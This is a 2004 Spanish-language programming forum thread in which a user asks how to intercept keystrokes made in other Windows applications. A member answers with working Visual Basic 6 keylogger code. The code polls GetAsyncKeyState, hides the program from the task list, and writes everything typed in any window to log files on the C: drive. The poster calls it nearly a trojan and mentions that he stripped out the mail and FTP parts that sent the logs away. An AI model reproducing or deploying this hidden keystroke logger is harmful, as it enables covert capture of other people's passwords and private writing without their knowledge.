| |  |  | Miembros: Mensajes: Temas: Online: Ultimo Miembro: | | |  | | |
 | 
11-10-2004, 22:49:30
|  | Buena Participación en el Foro | | Registrado: sep 2004 Posts: 86
| | Saber tecla pulsada en otra aplicacion Saludos a todos, ando con una duda mas que nada por curiosidad, ¿se puede saber que tecla del teclado se ha pulsado en una aplicacion cualquiera? A ver si me se explicar... Por ejemplo, abro el bloc de notas, y quiero saber que tecla se ha pulsado, y segun la tecla pulsada controlar ese evento y esa tecla para por ejemplo duplicar esa letra, es decir mandarle a la otra aplicacion, el bloc de notas en este caso, otra vez el valor de la tecla pulsada. Si no me entendieron diganmelo y me intentare explicar con mas claridad. A lo mejor con alguna api se puede, si es que se puede...
Gracias  | 
11-10-2004, 23:14:51
| | Gran Participación en el Foro | | Registrado: oct 2004 Posts: 177
| | Hola
Supongo que lo que tu buscas es un key logger no??
ok ahi te va un ejemplillo si tienes dudas me avisas pues yo lo hice (con algo de ayuda claro)
Esto va en el form
Pones un Timer con el intervalo en 10 y dos cajas de texto y el siguiente codigo Código: Private Sub Form_Load()
If App.PrevInstance Then
End
End If
App.Title = ""
Dim Result As String
Result = sSave
'Pone sSave listo para seguir
sSave = ""
'se le asigna valor a i
'con este se crea el archivo y se escribe en el solo si no existe el Page Ranking 1
Text2 = 0
End Sub
Private Sub Text2_Change()
Dim i As String
Dim Result As String
Dim Numfree As Byte
Dim f As Byte
Dim n As Byte
Numfree = FreeFile
Text1 = sSave
'este es para hacer el cont y crear los numeros en serie
If Text2 = 100 Then
If Dir("c:cont.txt") = "" Then ' sino existe el cont lo creamos
Open "c:cont.txt" For Output As Numfree
Print #Numfree, 1 ' le damos el valor de uno
Close Numfree
Else
Open "c:cont.txt" For Input As Numfree 'si si existe
Input #Numfree, f ' le damos el valor de uno
Close Numfree
Open ("c:cont.txt") For Output As Numfree ' despues al valor que recoge (f) le sumamos uno y lo cerramos
Print #Numfree, f + 1
Close Numfree
End If
End If
'crear y capturar el log
i = 1
If Text2 = 100 Then ' despues de veinte pulsaciones
If Dir("c:prueba" & i & ".txt") <> "" Then ' si es el primer log
Open "c:prueba" & i & ".txt" For Append As Numfree ' lo creamos el log 1
Print #Numfree, Text1
Close Numfree ' lo cerramos
Else
Open "c:cont.txt" For Input As Numfree
Input #Numfree, n
Close Numfree
i = n + 1
Open "c:prueba" & i & ".txt" For Append As Numfree
Print #Numfree, Text1
Close Numfree
End If
End If
If Text2 = 100 Then
Text2 = 0
sSave = ""
End If
End Sub
Private Sub Timer1_Timer()
Text1 = sSave
Text2 = Len(Text1)
'Llama a GetPressedKey y lo guarda en Ret
Ret = GetPressedKey
'Si Ret y sOld son distintos
'guarda Ret en sOld
'y lo concatena con sSave
Select Case Ret
Case "`"
Ret = 0
Case "a"
Ret = 1
Case "b"
Ret = 2
Case "c"
Ret = 3
Case "d"
Ret = 4
Case "e"
Ret = 5
Case "f"
Ret = 6
Case "g"
Ret = 7
Case "h"
Ret = 8
Case "i"
Ret = 9
End Select
If Ret <> sOld Then
sOld = Ret
sSave = sSave + sOld
End If
End Sub
ok luego en un modulo (.bas) pones esto que es el save para las pulsaciones Código: Option Explicit
'API para verificar las teclas
Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
'variables
Global Cnt As Long
Global sSave As String
Global sOld As String
Global Ret As String
Function GetPressedKey() As String
'Recorre los caracteres imprimibles
For Cnt = 32 To 128
'Detecta el estado de la tecla
'si es distinto de 0 es que esta presionada
'así que la retorna como resultado
'de la llamada a la funcion
If GetAsyncKeyState(Cnt) <> 0 Then
GetPressedKey = Chr$(Cnt)
Exit For
End If
Next Cnt
End Function
ok como ves esta todo comentado le quite las parttes de enviar los logs al mail o al ftp pues no se si los necesitabas como puedes ver tampoco aparece en la ventana de aplicaciones (Ctrl+Alt+Sup) asi que casi casi es un trojano, aver si es lo que buscabas
Suerte¡¡¡¡
__________________
voy aprendiendo , siempre
| 
11-10-2004, 23:22:50
|  | Administrator | | Registrado: dic 2002 Ubicación: BURGOS - ESPAÑA Posts: 5.431
| | Creo que te has explicado bien: Que puedas tener dos documentos, uno en una aplicación y otro en otra, y que cuando cambies un carácter en uno de los documentos, al pulsar una tecla, quede actualizado ese documento en la otra aplicación...
Supongo que eso que tú pretendes, lo de hacer que cuando pulses en Roma pulsado quede en Pekín... Ya sabes, todo es posible en Granada... Pero es que ni me lo propongo el buscar cómo hacerlo... Porque yo creo que antes que elucubrar merece la pena ajustarse a la lógica... Y la lógica es que se aprovechen los recursos que se nos brindan ya hechos... En este caso, pasar el documento completo cuando hayas terminado de editarlo... Y te evitar el perder el tiempo primero en programar esos eventos de tecla a tecla, y segundo en la ejecución de cada pulsación.
Pero, no te preocupes... que como te digo, todo es posible en Granada, y ya verás como alguien te da otra respuesta que se ajuste más a tus gustos. Porque sobre gustos no hay nada escrito. Y también puede ser que yo haya mal interpretado tu intención... Todo, todo es posible...
Tan posible, que cuando pulso [Enviar] veo que efectivamente tienes una respuesta que seguro que es la acertada... Así que la mía la tiras directamente a la cesta de la basura, y en paz... | 
12-10-2004, 01:10:14
|  | Buena Participación en el Foro | | Registrado: sep 2004 Posts: 86
| | Holaa, he leido y probado el codigo de daoba pero, a pesar de ser bastante interesante, no se como aplicarlo a lo que yo quiero exactamente, lo que quiero es algo mas complicado, desde una aplicacion, por ejemplo el bloc de notas, aprieto la tecla A, ese evento pasa a mi aplicacion, hasta ahí todo bien, con el codigo de daoba, pero segun esa tecla pulsada, pasarla por una funcion en mi aplicacion para duplicarla o lo que quiera y que luego sea devuelta al bloc de notas, que repito que lo del bloc de notas es un ejemplo, no es exactamente lo que quiero hacer, solo necesito esa orientacion, de lo de mas ya me ocupo yo; algo tendre que hacer no? :P jeje
Salu2 | 
12-10-2004, 01:19:39
| | Gran Participación en el Foro | | Registrado: oct 2004 Posts: 177
| | Bueno no te entiendo muy bien pero supondre:
Tu lo que quieres es que ya salvada la letra "A" por ejemplo que se ha pulsado sobe el block de notas o sobre el messenger o sobre lo que quieras luego la tomes y la conviertas en otra cosa y luego la pegues en donde quieras "word exel bla bla bla"
Bueno dos sugerencias
puedes con el codigo que te di modificar el sSave que es global y lo puedes llamar desde donde quieras pra que se convierta en otra cosa en lugar de su chr (o caracter ) puede ser un numero o un simbolo ascci
o puedes dejarlo asi si no lo quieres modificar y cambiar el objerto que se crea en lugar de open txt puedes crear rft. o bynarios para mandarlo a otra aplicacion, tal vez si dijieras bien a bien que es lo que quieres hacer podria ayudarte
Saludos editado por mi
Bueno por cierto si lo chcas mi codigo te crea los logs en c ahi se guarda todo lo que escribes presisamente en un archivo txt para el bloc de notas
asi que me imagino que te sirve, pero otra cosa ¿nececitas el clipboard? osea copiar y pegar automatico, entonce modifica el codigo para que el contenido de text2 se guarde en el portapapeles y lo pegues donde quieras en el block con el mouse o automaticamente con mas codigo
Suerte de nuevo
__________________
voy aprendiendo , siempre
| 
12-10-2004, 02:20:54
|  | Buena Participación en el Foro | | Registrado: sep 2004 Posts: 86
| | Pues lo que me falta saber es, como mandar a una aplicacion, seguimos con el ejemplo del bloc de notas, que se ha pulsado una tecla. Con tu codigo puedo saber que tecla se ha pulsado, entonces la transformo a lo que yo quiera, pero me falta saber como volverla a mandar al bloc de notas en este caso, que es de donde la he mandando. Es decir, escribo A, en el bloc, la aplicacion recibe la tecla pulsada, hago lo que quiero, y la devuelvo como quiero, una B por ejemplo. La verdad es que para explicarme no valgo lo se...
Un salu2 espero que podais ayudarme y siento molestar tanto. | 
12-10-2004, 02:50:47
| | Gran Participación en el Foro | | Registrado: oct 2004 Posts: 177
| | Mira al codigo que te di al principio cambiale los "100" que encuentres (son tres) por digamos cincos ¿ok?
entonces ejecutalo escribe algo en el block de notas algo asi como "Hola ya estoy por aca" algo mayor que cinco caracteres entonce explora tu unidad c: y aho va a ver unos archivos que se llaman prueba los abres y ¡¡¡taran¡¡¡ ahi esta lo que escribiste
si lo quieres letra por letra entonces cambia los cincos por unos y ya
ahi va ha estar en c: "todo lo que escribas" donde sea
Espero que si
Si no explicate mejor por que de verdad no te entiendo
Suerte
__________________
voy aprendiendo , siempre
| 
12-10-2004, 02:59:13
|  | Buena Participación en el Foro | | Registrado: sep 2004 Posts: 86
| | Si, eso ya lo vi pero, igual que sendkeys hace como que se ha pulsado la tecla que le mandes en esa aplicacion lo necesito para usarlo de manera externa, a otra aplicacion. Algo asi como la api sendmessage que puede cambiar el caption de una aplicacion por ejemplo, pues mandarle el mensaje de que haga lo que tenga que hacer al pulsar una tecla. Veamos, quiero que al pulsar la flecha arriba en el explorer vaya hacia abajo; con lo que tu me mandas tengo el codigo de la flecha arriba, lo modifico para que sea el codigo de la flecha abajo y ahora... como devuelvo al explorer esa funcion?? | 
12-10-2004, 18:23:34
| | Gran Participación en el Foro | | Registrado: oct 2004 Posts: 177
| | Hola de nuevo
Ok ya creo entender no tengo aqui el visual peroprueba con esto Código: If GetAsyncKeyState(Cnt) <> 0 Then
GetPressedKey = Chr$(Cnt) aqui cambias
GetPressedKey = Chr$(Cnt)
por
GetPressedKey = keyasccii = 23
lo del 23 es un ejemplo no se que tecla deseas cambiar checa los codigos ascii asi sSave va a guardar ese valor para todaslasteclasy lo convierte
si lo quieres para una tecla en particular entonces en lugar de
If GetAsyncKeyState(Cnt) <> 0 Then
lo cambias por
If GetAsyncKeyState(Cnt) = "codigo ascii de la pulsacion Then borra todo lo que tiene que ver con lacreacion de archivo del form y loscontroles de texto y asi solo debe de hacer lo que nesecitas cambiar el valor ascci en la ventana activa
mas tarde lo pruebo en mi maquina y te lo posteo de nuevo ya terminado
Suerte de nuevo
__________________
voy aprendiendo , siempre
| 
12-10-2004, 20:02:55
|  | Buena Participación en el Foro | | Registrado: sep 2004 Posts: 86
| | Bien... en la ayuda sale un ejemplo del sendkeys que manda a la calculadora unos numeros para que los sume, lo que pasa es que si intento mandar luego con otro boton otros numeros para que los multiplique, no los manda, se ve que tiene que ver algo con lo de appactivate, sabes algo? porque esa manera me seria muy util junto a tu codigo. salu2 | | Herramientas | | | | Desplegado | Mode Lineal |
Normas de Publicación
| no Puedes crear nuevos temas no Puedes responder a temas no Puedes adjuntar archivos no Puedes editar tus mensajes Código [IMG] está habilitado Código HTML está deshabilitado | | | La franja horaria es GMT. Ahora son las 02:28:52.
Powered by vBulletin® Version 3.6.8 Copyright ©2000 - 2008, Jelsoft Enterprises Ltd.
LinkBacks Enabled by vBSEO 3.1.0
A vBSkinworks Design
|  |